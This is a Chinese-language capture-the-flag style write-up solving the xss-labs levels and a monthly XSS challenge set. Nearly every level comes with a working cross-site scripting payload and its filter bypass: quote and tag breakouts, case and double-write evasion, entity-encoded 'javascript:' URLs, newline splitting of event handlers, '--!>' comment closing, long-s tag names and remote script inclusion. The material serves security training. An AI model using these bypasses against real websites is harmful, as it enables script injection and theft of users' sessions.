Xss-labs

其他文章总结的xss绕过姿势:xss 常用标签及绕过姿势总结

level1

打开源码发现,这关是要我们调用alert函数,这里重写了alert方法,当我们调用alert函数,就会显示”完成得不错“的弹窗,并跳转第二关
leve1-1
从URL中能够获取到name信息,那我们对name进行构造,payload如下
?name=<script>alert(%271%27)</script>?name=<img src=1 onerror=alert()>?name=<a href=javascript:alert()>1</a>?name=<img src=1 onclick=alert()>方法各式各样
leve1-2

level2

我们按照level1的方法测试,发现并不能渲染,我的输入被当作字符串处理了
leve2-1
打开源码发现输入框的value会存储我们输入的值,那我们可以在这进行构造,闭合value的双引号。
leve2-2
我们输入">发现他会显示在输入框外面,打开源码发现此时value提前闭合
leve2-3
既然">能逃逸在外面,那我们可以构造其他标签
构造payload"> <script>alert(1)</script>即可执行alert
当然,我们也有其他方法优雅的执行
payload" onclick="alert(1)"
搜索后,我们用鼠标点击以下输入框即可
leve2-4
最后我们还有恶心人的办法
payload" onfocus="alert(1)",这样操作会一致弹窗

level3

这一关的value也对内容进行了转义,但是一般转义不会过滤单引号,我们输入单引号测试,发现value确实闭合了
leve3-1
那我们就可以利用input属性进行注入了
payload' onclick=alert(1) '
leve3-2

level4

F12打开源码测试,我们容易发现这关没有对value进行转义,只是过滤了尖括号,那我们跟之前一样使用payload" onclick=alert(1) "即可
leve4-1

level5

本关的value是对<scripton进行过滤,那我们可以闭合input标签,插入新标签用javascript去执行js
payload"> <a href="javascript:alert(1)">12</a> "
leve5-1
其他方法也能成功注入
即使过滤规则由<script变成script也能绕过
由于伪协议的存在,href可以自动解析编码javascript,我们将输入的内容编码即可绕过过滤。我们将javascript通过unicode编码后替换上一条payload,新的payload为"> <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)">12</a> "
如图,这样也能成功注入
leve5-2

level6

我们在输入框中输入'"<>查看是否有过滤,如图,发现在value中并没有任何过滤
leve6-1
输入" onclick=alert(1) "发现on被替换成了o_n
leve6-2
我们输入第五关的payload试试,发现href也被替换了
leve6-3
于是我们尝试大小写绕过,payload"> <a Href="javascript:alert(1)">12</a> ",成功
leve6-4

level7

尝试第六关的payload,发现hrefscript都被过滤,我们尝试大小写,发现也不行
leve7-1
那我们尝试双写绕过"> <a hrhrefef="javascrscriptipt:alert(1)">12</a> ",成功
leve7-2

level8

经过测试发现,这一关value值将双引号和尖括号都进行了过滤,我们无法从value值入手,但是输入夫人内容也被带入了href值里面,我们可以通过构造href的属性来执行alert函数。
leve8-1
由第五关的衍生可知,href属性会自动解析他的值,我们将script中的部分unicode编码后替换即可。payload:java&#115;cript:alert()
leve8-2

level9

这一关的value值也无法下手,且href值也进行了检查,非法的href属性会被过滤
leve9-1
检查源码发现,href值必须要包含http://
leve9-2
那我们按照level9的方法构造payload,在后面接上一个注释掉的http://即可
payload:java&#115;cript:alert()/*http://*/
leve9-3

level10

打开代码发现这关隐藏掉了三个input标签,我们测试发现t_sort能够进行注入
leve10-1
测试发现这里对<>进行了过滤,那我们无法闭合input标签,我们尝试onclick方法在input标签里执行javascript代码,并且让input标签以文本框形式显示,payload:?t_sort=" onclick=alert() type="text
leve10-2

level11

打开源码发现这一关的t_ref属性会拿到跳转来源页面的url,也就是http头referer的参数,我们尝试在这进行注入
leve11-1
打开burp suite,打开拦截,刷新页面,抓包修改referer参数,构造payload" onclick=alert() type="text
leve11-2
回到页面点击输入框即可执行alert方法

level12

打开源码我们发现这关会取http头的User-Agent参数,我们也是抓包修改User-Agent的值,payload:" onclick=alert() type="text
leve12-1

level13

打开源码发现这里的名为t_cook的input标签,考虑到是cookie头,我们抓波修改测试猜想是否正确
leve13-1
那我们对cookie构造payload即可
leve13-2

level14

这关已经做不了了,因为他跳转的网站已经挂掉了,从网上教程来看,这关考察的是文件包含,通过在包含的网站上上传一个含有xss代码的图片,以达到弹窗的效果。
拓展:HTML <iframe> 标签:作用是标记一个内联框架!!一个内联框架被用来在当前 HTML 文档中嵌入另一个文档。

level15

可以看到这儿有个陌生的东西ng-include且是通过src传参的
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
leve15-1
我们先试试包含第一关,构造payload?src='./level1.php'
leve15-2
包含成功,我们注入第一关的payload尝试弹窗?src='./level1.php?name=<script>alert(1)</script>'
但是这里并没有弹窗,打开源码发现这里对<>进行了实体化,但是由于伪协议,他并不会影响解析。搜索发现这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的。我们使用<img>标签,构造payload?src='./level1.php?name=<img src=1 onmouseover=alert()>'
leve15-3

level16

这里发现keyword的值传入后被center标签包裹
leve16-1
注入一个img标签试试弹窗,payload:?keyword=<img src=1 onerror=alert()>
leve16-2
这里发现网页将空格进行了转化,那我们用回车去替换空格,将回车的url编码%0a替换空格,构造payload?keyword=<img%0asrc=1%0aonclick=alert()>
leve16-3

level17

第17关需要用到flash插件才能正常显示。通过url能够发现,这一关有两个参数可以传值。
leve17-1
先测一下关键字?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
leve17-2
发现加了html转义,但是这里并不需要闭合。我们直接对arg02进行注入即可
payload?arg02= onclick=alert()
leve17-3

level18

测试过程跟上一关一样,意外发现上一关的payload也能直接用,这里就不赘述了。

每月xss-challenge

0x00

这关没有过滤直接用script标签即可,payload<script>alert(1)</script>
00-1

0x01

这一关没有过滤,直接提前闭合textarea标签即可,payload</textarea><script>alert(1)</script>
01-1

0x02

这一关没有过滤,提起闭合input标签,写入script代码即可,payload"> <script>alert(1)</script>
02-1

0x03

输入" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;发现过滤了(),那我们用unicode编码替换即可,payload
<a href=javascript:alert&#40;1&#41;>1</a>
03-1

0x04

第三关的payload依旧适用于第四关
04-1

0x05

这一关将输入的内容包裹在了注释符内,闭合注释符-->也被过滤掉了。
尝试实体化和十六进制编码也不行,搜索后发现--!>也能闭合注释符,在本机上测试发现--!>在编译时会自动转换成-->,payload--!><a href=javascript:alert(1)>1</a>
05-1

0x06

这一关屏蔽掉了on+ *+=>,那我们就不能闭合input标签,且不能直接用onclick等属性去填充input标签,且从源代码上看,大小写绕过也行不通。那我们考虑在on和=之间怎么构造才能绕过,在onclick和=之间加上回车,既能保证语义不变,又能通过换行去绕过正则匹配。
payload:

1
2
onclick
=alert(1)

06-1

0x07

1
2
const stripTagsRe = /<\/?[^>]+>/gi 匹配以<开始,中间可能会有/,中间还有除>之外的其他内容的字符串
input = input.replace(stripTagsRe, '')

这关过滤了完整的标签,但是我们不注入完整的标签在这也能实现标签效果
payload<input onclick=alert(1)
07-1

0x08

src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')这关过滤了style闭合标签。与第六关一样,通过换行即可闭合style标签。
payload

1
2
</style
><input onclick=alert(1) >

08-1

0x09

这里正则表达式let domainRe = /^https?:\/\/www\.segmentfault\.com/限制了输入必须是以https://www.segmentfault.com开头的(s可有可无)
payloadhttps://www.segmentfault.com"></script><script>alert(1)</script>
09-1

0x0A

这里把能注入的关键词都过滤了,看了答案才知道可以直接引用指定网站下的目录文件来达到xss注入的目的
在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可:
payloadhttps://www.segmentfault.com.haozi.me/j.js
10-1
看攻略还提到了一种方法:用url的@语法来进行跳转调用
比如https://www.baidu.com@yian4243.github.io/,最终是会跳转到@后的url的。
因此我们可以再公网上传一个这样的j.js文件后去访问他,从而执行alert

0x0B

虽然html中对大小写不敏感,但js中对大小写敏感。这里我们尝试编码替换
payload</h1><img src="" onerror="javascript:&#97;&#108;&#101;&#114;&#116;(1)"
11-1

0x0C

上一关的payload在这依旧适用
12-1

0x0D

这一关屏蔽了</"',但是换行后注释不影响我们的代码,换行后输入alert(1);,但是后面会跟着'),影响我们代码的执行,搜索发现即使不用被注释的这些符号也能注释js代码
payload

1
2
3

alert(1);
-->

13-1

0x0E

这里的正则匹配几乎过滤了所有标签,首先想到换行和编码绕过,尝试后发现都不行。
查看攻略发现可以使用字符的大写是s拉丁字母去替换标签首字母,payload<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
14-1

0x0F

这里编码替换了' " <>\,但是这是img标签,在解析代码的时候,会先按照html规则将编码还原,在执行js。
所以payload');alert(1)('
15-1

0x10

这里没有过滤,可以直接输入alert(1)
16-1

0x11

这里虽然加了很多过滤,但是跟上一关一样的方法也能成功
payload");alert(1)("
17-1
其实");alert(1)//也可以,虽然//被转义了,但在js中还是注释符

0x12

payload</script><script>alert(1)</script>
这关之过滤了",直接闭合script标签后写入alert即可
18-1
最后一关了,不应该这么简单吧。看了一些其他人的绕过方法,因为这里只对双引号进行了转义,并没有对\进行转义,所以我们在上一关的基础上填上奇数个反斜杠即可,\");alert(1)//

总结

还是遇到了一些以前没做过的绕过方法,很有收获